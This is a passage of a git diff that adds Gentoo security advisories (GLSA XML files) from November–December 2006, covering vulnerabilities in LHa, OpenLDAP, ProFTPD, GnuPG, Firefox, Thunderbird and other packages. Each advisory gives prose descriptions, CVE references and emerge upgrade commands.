+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5072">CVE-2006-5072</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 24 Nov 2006 09:48:51 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 27 Nov 2006 17:16:01 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 28 Nov 2006 12:13:57 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-24.xml b/xml/htdocs/security/en/glsa/glsa-200611-24.xml
new file mode 100644
index 00000000..ef9845c3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-24.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-24">
+  <title>LHa: Multiple vulnerabilities</title>
+  <synopsis>
+    LHa is affected by several vulnerabilities including the remote execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">lha</product>
+  <announced>November 28, 2006</announced>
+  <revised>November 28, 2006: 01</revised>
+  <bug>151252</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/lha" auto="yes" arch="*">
+      <unaffected range="ge">114i-r6</unaffected>
+      <vulnerable range="lt">114i-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LHa is a console-based program for packing and unpacking LHarc
+    archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered several
+    vulnerabilities in the LZH decompression component used by LHa. The
+    make_table function of unlzh.c contains an array index error and a
+    buffer overflow vulnerability. The build_tree function of unpack.c
+    contains a buffer underflow vulnerability. Additionally, unlzh.c
+    contains a code that could run in an infinite loop.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to uncompress a specially crafted archive, a remote
+    attacker could cause a Denial of Service by CPU consumption or execute
+    arbitrary code with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LHa users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/lha-114i-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4335">CVE-2006-4335</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4336">CVE-2006-4336</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4337">CVE-2006-4337</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4338">CVE-2006-4338</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 24 Nov 2006 21:52:23 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 27 Nov 2006 17:02:28 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 27 Nov 2006 17:07:24 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-25.xml b/xml/htdocs/security/en/glsa/glsa-200611-25.xml
new file mode 100644
index 00000000..d232a14b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-25.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-25">
+  <title>OpenLDAP: Denial of Service vulnerability</title>
+  <synopsis>
+    A flaw in OpenLDAP allows remote unauthenticated attackers to cause a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">openldap</product>
+  <announced>November 28, 2006</announced>
+  <revised>November 28, 2006: 01</revised>
+  <bug>154349</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-nds/openldap" auto="yes" arch="*">
+      <unaffected range="ge">2.3.27-r3</unaffected>
+      <unaffected range="rge">2.2.28-r5</unaffected>
+      <unaffected range="rge">2.1.30-r8</unaffected>
+      <vulnerable range="lt">2.3.27-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenLDAP is a suite of LDAP-related applications and development tools.
+    </p>
+  </background>
+  <description>
+    <p>
+    Evgeny Legerov has discovered that the truncation of an incoming
+    authcid longer than 255 characters and ending with a space as the 255th
+    character will lead to an improperly computed name length. This will
+    trigger an assert in the libldap code.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending a BIND request with a specially crafted authcid parameter to
+    an OpenLDAP service, a remote attacker can cause the service to crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenLDAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;net-nds/openldap&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5779">CVE-2006-5779</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 27 Nov 2006 13:22:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 27 Nov 2006 16:35:57 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 27 Nov 2006 16:37:27 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200611-26.xml b/xml/htdocs/security/en/glsa/glsa-200611-26.xml
new file mode 100644
index 00000000..345d3ef8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200611-26.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200611-26">
+  <title>ProFTPD: Remote execution of arbitrary code</title>
+  <synopsis>
+    ProFTPD is affected by mutiple vulnerabilities allowing for the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">proftpd</product>
+  <announced>November 30, 2006</announced>
+  <revised>November 30, 2006: 01</revised>
+  <bug>154650</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/proftpd" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0a</unaffected>
+      <vulnerable range="lt">1.3.0a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ProFTPD is a highly-configurable FTP server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Evgeny Legerov discovered a stack-based buffer overflow in the
+    s_replace() function in support.c, as well as a buffer overflow in in
+    the mod_tls module. Additionally, an off-by-two error related to the
+    CommandBufferSize configuration directive was reported.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An authenticated attacker could exploit the s_replace() vulnerability
+    by uploading a crafted .message file or sending specially crafted
+    commands to the server, possibly resulting in the execution of
+    arbitrary code with the rights of the user running ProFTPD. An
+    unauthenticated attacker could send specially crafted data to the
+    server with mod_tls enabled which could result in the execution of
+    arbitrary code with the rights of the user running ProFTPD. Finally,
+    the off-by-two error related to the CommandBufferSize configuration
+    directive was fixed - exploitability of this error is disputed. Note
+    that the default configuration on Gentoo is to run ProFTPD as an
+    unprivileged user, and has mod_tls disabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ProFTPD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/proftpd-1.3.0a&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5815">CVE-2006-5815</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6170">CVE-2006-6170</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6171">CVE-2006-6171 (disputed)</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 28 Nov 2006 20:50:41 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 29 Nov 2006 12:52:56 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 30 Nov 2006 22:38:58 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-01.xml b/xml/htdocs/security/en/glsa/glsa-200612-01.xml
new file mode 100644
index 00000000..70533c46
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-01.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-01">
+  <title>wv library: Multiple integer overflows</title>
+  <synopsis>
+    The wv library is vulnerable to multiple integer overflows which could lead
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">wv library</product>
+  <announced>December 07, 2006</announced>
+  <revised>December 07, 2006: 01</revised>
+  <bug>153800</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/wv" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3-r1</unaffected>
+      <vulnerable range="lt">1.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    wv is a library for conversion of MS Word DOC and RTF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    The wv library fails to do proper arithmetic checks in multiple places,
+    possibly leading to integer overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious file that, when handled with the wv
+    library, could lead to the execution of arbitrary code with the
+    permissions of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All wv library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/wv-1.2.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4513">CVE-2006-4513</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 24 Nov 2006 19:24:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 24 Nov 2006 19:46:34 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-02.xml b/xml/htdocs/security/en/glsa/glsa-200612-02.xml
new file mode 100644
index 00000000..593f5d6a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-02.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-02">
+  <title>xine-lib: Buffer overflow</title>
+  <synopsis>
+    xine-lib is vulnerable to a buffer overflow in the Real Media input plugin,
+    which could lead to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xine-lib</product>
+  <announced>December 09, 2006</announced>
+  <revised>December 09, 2006: 01</revised>
+  <bug>156645</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/xine-lib" auto="yes" arch="*">
+      <unaffected range="ge">1.1.2-r3</unaffected>
+      <vulnerable range="lt">1.1.2-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xine is a portable and reusable multimedia playback engine. xine-lib is
+    xine's core engine.
+    </p>
+  </background>
+  <description>
+    <p>
+    A possible buffer overflow has been reported in the Real Media input
+    plugin.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability by enticing a user into
+    loading a specially crafted stream with xine or an application using
+    xine-lib. This can lead to a Denial of Service and possibly the
+    execution of arbitrary code with the rights of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xine-lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/xine-lib-1.1.2-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6172">CVE-2006-6172</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 03 Dec 2006 14:51:06 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 07 Dec 2006 10:43:19 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 09 Dec 2006 07:44:10 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-03.xml b/xml/htdocs/security/en/glsa/glsa-200612-03.xml
new file mode 100644
index 00000000..9c6ed7d4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-03.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-03">
+  <title>GnuPG: Multiple vulnerabilities</title>
+  <synopsis>
+    GnuPG is vulnerable to a buffer overflow and an erroneous function pointer
+    dereference that can result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gnupg</product>
+  <announced>December 10, 2006</announced>
+  <revised>December 10, 2006: 02</revised>
+  <bug>156476</bug>
+  <bug>156947</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/gnupg" auto="yes" arch="*">
+      <unaffected range="ge">1.4.6</unaffected>
+      <vulnerable range="lt">1.4.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU Privacy Guard, GnuPG, is a free replacement for the PGP suite
+    of cryptographic software.
+    </p>
+  </background>
+  <description>
+    <p>
+    Hugh Warrington has reported a boundary error in GnuPG, in the
+    "ask_outfile_name()" function from openfile.c: the
+    make_printable_string() function could return a string longer than
+    expected. Additionally, Tavis Ormandy of the Gentoo Security Team
+    reported a design error in which a function pointer can be incorrectly
+    dereferenced.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to interactively use GnuPG on a
+    crafted file and trigger the boundary error, which will result in a
+    buffer overflow. They could also entice a user to process a signed or
+    encrypted file with gpg or gpgv, possibly called through another
+    application like a mail client, to trigger the dereference error. Both
+    of these vulnerabilities would result in the execution of arbitrary
+    code with the permissions of the user running GnuPG. gpg-agent, gpgsm
+    and other tools are not affected.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuPG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=app-crypt/gnupg-1.4*&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6169">CVE-2006-6169</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6235">CVE-2006-6235</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 07 Dec 2006 11:29:58 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 08 Dec 2006 11:06:22 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 09 Dec 2006 21:41:04 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-04.xml b/xml/htdocs/security/en/glsa/glsa-200612-04.xml
new file mode 100644
index 00000000..f2024ff5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-04">
+  <title>ModPlug: Multiple buffer overflows</title>
+  <synopsis>
+    ModPlug contains several boundary errors that could lead to buffer
+    overflows resulting in the possible execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libmodplug</product>
+  <announced>December 10, 2006</announced>
+  <revised>December 10, 2006: 01</revised>
+  <bug>143404</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libmodplug" auto="yes" arch="*">
+      <unaffected range="ge">0.8-r1</unaffected>
+      <vulnerable range="lt">0.8-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ModPlug is a library for playing MOD-like music.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma has reported various boundary errors in load_it.cpp and
+    a boundary error in the "CSoundFile::ReadSample()" function in
+    sndfile.cpp.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can entice a user to read crafted modules or ITP
+    files, which may trigger a buffer overflow resulting in the execution
+    of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ModPlug users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libmodplug-0.8-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4192">CVE-2006-4192</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 05 Dec 2006 19:55:31 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 07 Dec 2006 10:06:27 +0000">
+    vorlon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 08 Dec 2006 13:57:46 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-05.xml b/xml/htdocs/security/en/glsa/glsa-200612-05.xml
new file mode 100644
index 00000000..8b84ec4b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-05">
+  <title>KOffice shared libraries: Heap corruption</title>
+  <synopsis>
+    An integer overflow in koffice-libs allows for a Denial of Service and
+    possibly the execution of arbitrary code when viewing malicious PowerPoint
+    files.
+  </synopsis>
+  <product type="ebuild">koffice-libs</product>
+  <announced>December 10, 2006</announced>
+  <revised>December 10, 2006: 01</revised>
+  <bug>155914</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/koffice-libs" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0</unaffected>
+      <vulnerable range="lt">1.5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KOffice is an integrated office suite for KDE. koffice-libs is a
+    package containing shared librares used by KOffice programs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kees Cook of Ubuntu discovered that 'KLaola::readBigBlockDepot()' in
+    klaola.cc fills 'num_of_bbd_blocks' while reading a .ppt (PowerPoint)
+    file without proper sanitizing, resulting in an integer overflow
+    subsequently overwriting the heap with parts of the file being read.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted PowerPoint file, an
+    attacker could crash the application and possibly execute arbitrary
+    code with the rights of the user running KOffice.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All koffice-libs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/koffice-libs-1.5.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6120">CVE-2006-6120</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 01 Dec 2006 20:55:38 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 01 Dec 2006 21:30:45 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 10 Dec 2006 13:39:48 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-06.xml b/xml/htdocs/security/en/glsa/glsa-200612-06.xml
new file mode 100644
index 00000000..bfb73e47
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-06.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-06">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified in Mozilla Thunderbird.
+  </synopsis>
+  <product type="ebuild">mozilla-thunderbird</product>
+  <announced>December 10, 2006</announced>
+  <revised>December 10, 2006: 01</revised>
+  <bug>154448</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.8</unaffected>
+      <vulnerable range="lt">1.5.0.8</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.8</unaffected>
+      <vulnerable range="lt">1.5.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is a popular open-source email client from the
+    Mozilla Project.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been identified that Mozilla Thunderbird improperly handles
+    Script objects while they are being executed, allowing them to be
+    modified during execution. JavaScript is disabled in Mozilla
+    Thunderbird by default. Mozilla Thunderbird has also been found to be
+    vulnerable to various potential buffer overflows. Lastly, the binary
+    release of Mozilla Thunderbird is vulnerable to a low exponent RSA
+    signature forgery issue because it is bundled with a vulnerable version
+    of NSS.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could entice a user to view a specially crafted email that
+    causes a buffer overflow and again executes arbitrary code or causes a
+    Denial of Service. An attacker could also entice a user to view an
+    email containing specially crafted JavaScript and execute arbitrary
+    code with the rights of the user running Mozilla Thunderbird. It is
+    important to note that JavaScript is off by default in Mozilla
+    Thunderbird, and enabling it is strongly discouraged. It is also
+    possible for an attacker to create SSL/TLS or email certificates that
+    would not be detected as invalid by the binary release of Mozilla
+    Thunderbird, raising the possibility for Man-in-the-Middle attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users upgrading to the following releases of Mozilla Thunderbird should
+    note that this version of Mozilla Thunderbird has been found to not
+    display certain messages in some cases.
+    </p>
+    <p>
+    <br></br>
+    <br></br> All Mozilla Thunderbird users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.5.0.8&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary release users should upgrade to the
+    latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.5.0.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5462">CVE-2006-5462</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5463">CVE-2006-5463</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5464">CVE-2006-5464</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5747">CVE-2006-5747</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5748">CVE-2006-5748</uri>
+    <uri link="https://bugzilla.mozilla.org/show_bug.cgi?id=360409">Mozilla Thunderbird Email Loss Bug</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 06:10:05 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Nov 2006 06:10:22 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Nov 2006 13:53:32 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-07.xml b/xml/htdocs/security/en/glsa/glsa-200612-07.xml
new file mode 100644
index 00000000..23e531e2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200612-07.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200612-07">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been reported in Mozilla Firefox.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox</product>
+  <announced>December 10, 2006</announced>
+  <revised>December 10, 2006: 01</revised>
+  <bug>154434</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.8</unaffected>
+      <vulnerable range="lt">1.5.0.8</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.8</unaffected>
+      <vulnerable range="lt">1.5.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is a popular open-source web browser from the Mozilla
+    Project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mozilla Firefox improperly handles Script objects while they are being
+    executed. Mozilla Firefox has also been found to be vulnerable to
+    various possible buffer overflows. Lastly, the binary release of
+    Mozilla Firefox is vulnerable to a low exponent RSA signature forgery
+    issue because it is bundled with a vulnerable version of NSS.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to view specially crafted JavaScript
+    and execute arbitrary code with the rights of the user running Mozilla
+    Firefox. An attacker could also entice a user to view a specially
+    crafted web page that causes a buffer overflow and again executes
+    arbitrary code. It is also possible for an attacker to make up SSL/TLS
+    certificates that would not be detected as invalid by the binary
+    release of Mozilla Firefox, raising the possibility for
+    Man-in-the-Middle attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.5.0.8&quot;</code>
+    <p>
+    All Mozilla Firefox binary release users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.5.0.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5462">CVE-2006-5462</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5463">CVE-2006-5463</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5464">CVE-2006-5464</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5747">CVE-2006-5747</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5748">CVE-2006-5748</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Nov 2006 06:11:10 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 21 Nov 2006 06:11:37 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Nov 2006 13:30:11 +0000">
+    shellsage
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200612-08.xml b/xml/htdocs/security/en/glsa/glsa-200612-08.xml
new file mode 100644
index 00000000..7087856f
--- /dev/null
